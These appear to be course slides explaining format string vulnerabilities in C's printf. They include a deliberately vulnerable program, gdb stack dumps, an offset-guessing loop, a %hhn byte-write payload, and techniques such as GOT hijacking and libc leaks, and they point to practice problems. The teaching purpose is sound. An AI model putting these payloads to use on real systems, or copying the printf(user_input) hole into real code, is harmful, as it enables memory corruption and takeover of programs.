

Format string

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Who am I?

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Outline

- Dangerous Function
- Function call
- Format string
- Example
- Strategy
- Practice

Dangerous Function

PRINTF(3)

Linux Programmer's Manual

PRINTF(3)

NAME

printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf,
vsnprintf - formatted output conversion

SYNOPSIS

```
#include <stdio.h>

int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
```

Function call

If we print variable out without parameter?

```
printf("%s",s);
```

```
printf(s);
```

```
#include<stdio.h>
int main(void)
{
    char s[] = "%p %p %p";
    printf(s);
    return 0;
}
```

Function call

```
23:03 wpchen@linux1 [~/bamboofox/fmt] >gdb -q test
Reading symbols from test... (no debugging symbols found) ... done.
(gdb) b printf
Breakpoint 1 at 0x8048300
(gdb) r
Starting program: /net/cs/101/0116320/bamboofox/fmt/test

Breakpoint 1, 0xf7e43a80 in printf () from /usr/lib32/libc.so.6
(gdb) x/10x $esp
0xfffffd88c: 0x08048446      0xfffffd8a7       0xfffffd954      0xfffffd95c
0xfffffd89c: 0xf7e28b7b      0xf7fad3dc      0x25048204      0x70252070
0xfffffd8ac: 0x00702520      0x00000001
(gdb) c
Continuing.
0xfffffd954 0xfffffd95c 0xf7e28b7b [Inferior 1 (process 26008) exited with code 040]
```

Format string

- Function doesn't know how many parameter it has.
- As result, function will take the value on the stack as parameters.
- As this way we could leak any address above the stack.
- How about the address below the stack?
- We have make our own arguments and use it
- How?
- The buffer will above the stack pointer
- Calculate the offset and point to the buffer

Format string

- %x : Unsigned hexadecimal integer
- %s : String of characters
- %p : Pointer address
- %n : The number of characters written so far is stored in the pointed location
- %(num)c : Print num characters
- %(num)\$x : dump numth parameter

Ex : %100\$x : dump 100th dword

Format string

Guess the offset?

```
for i in range(0,1000):
    payload="aaaa%"+str(i)+"$x"
```

We calculate from assembly

Notice three instructions

- sub \$num,%esp // function prologue
- lea offset(%esp),%eax // buffer address
- move argument,\$esp // numth argument

Example

```
#include<stdio.h>
int main(void)
{
    char buf[64];
    scanf("%s",buf);
    printf(buf);
    return 0;
}
```

Example

```
23:33 wpchen@linux1 [~/bamboofox/fmt] >gdb -q ./fmt
Reading symbols from ./fmt... (no debugging symbols found) ...done.
(gdb) b __isoc99_scanf
Breakpoint 1 at 0x8048370
(gdb) r
Starting program: /net/cs/101/0116320/bamboofox/fmt/fmt


Breakpoint 1, 0xf7e58af6 in __isoc99_scanf () from /usr/lib32/libc.so.6
(gdb) info frame
Stack level 0, frame at 0xfffffd820:
  eip = 0xf7e58af6 in __isoc99_scanf; saved eip = 0x8048489
  called by frame at 0xfffffd880
  Arglist at 0xfffffd818, args:
  Locals at 0xfffffd818, Previous frame's sp is 0xfffffd820
  Saved registers:
    ebx at 0xfffffd80c, ebp at 0xfffffd818, esi at 0xfffffd810, edi at 0xfffffd814
    , eip at 0xfffffd81c
  (gdb) x/10x $ebp previous_ebp          eip          "%s" address      bufferaddress
0xfffffd818: 0xfffffd878    0x08048489    0x08048530    0xfffffd830
0xfffffd828: 0xf7e06be0    0xf7fd62e8    0xf7fad000    0xf7fad000
0xfffffd838: 0xf7e8c6e9    0x08048310    0x08048310    0x08048310
```

push	%ebp
mov	%esp, %ebp
and	\$0xffffffff0, %esp
sub	\$0x50, %esp
lea	0x10(%esp), %eax
mov	%eax, 0x4(%esp)
movl	\$0x8048530, (%esp)
call	8048370 <__isoc99_scanf@plt>

Example

```
aaaa%x%X%x%X%x

Breakpoint 2, 0xf7e43a80 in printf () from /usr/lib32/libc.so.6
(gdb) info frame
Stack level 0, frame at 0xfffffd820:
  eip = 0xf7e43a80 in printf; saved eip = 0x8048495
  called by frame at 0xfffffd880
  Arglist at 0xfffffd818, args:
  Locals at 0xfffffd818, Previous frame's sp is 0xfffffd820
  Saved registers:
    eip at 0xfffffd81c
    (gdb) x/10x $esp      buffer address      arg2      arg3
0xfffffd81c: 0x08048495 0xfffffd830 0xfffffd830 0xf7e06be0
0xfffffd82c: 0xf7fd62e8 arg4 0x61616161 arg5 0x78257825 0x78257825
0xfffffd83c: 0x08048300 0x00008000
(gdb) c
Continuing.
aaaaaffffd830f7e06be0f7fd62e861616161[Inferior 1 (process 22338) exited normally]
```



Example

- %n
 - %n : dword : 4 bytes
 - %hn : word : 2 bytes
 - %hhn: byte : 1 bytes
- Try to write value 0x6a686664 to 0x08045566
 - 0x64 to 0x08045566
 - 0x66 to 0x08045567
 - 0x68 to 0x08045568
 - 0x6a to 0x08045569

Example

Try to write value 0x6a686664 to 0x08045566

Payload will look like this

\x66\x55\x04\x08\x67\x55\x04\x08 // 8 characters

\x68\x55\x04\x08\x69\x55\x04\x08 // 8 characters

%84c%4\$hhn

%2c%5\$hhn

%2c%6\$hhn

%2c%7\$hhn

Strategy

With this skill you can do

- Read / write any position if map permission is allowed
- GOT hijacking
- Write variable value
- Leak libc base address and calculate offset to get another function address
- Leak libc version
- Leak stack address

Practice

- fmt1

<http://secprog.cs.nctu.edu.tw/problems/12>

- fmt2

<http://secprog.cs.nctu.edu.tw/problems/13>

- Monkey1

<http://train.cs.nctu.edu.tw/problems/2>

- Monkey2

<http://train.cs.nctu.edu.tw/problems/3>

Reference

- http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/FormString.pdf
- Almost by experience (practice hard, and use gdb to test)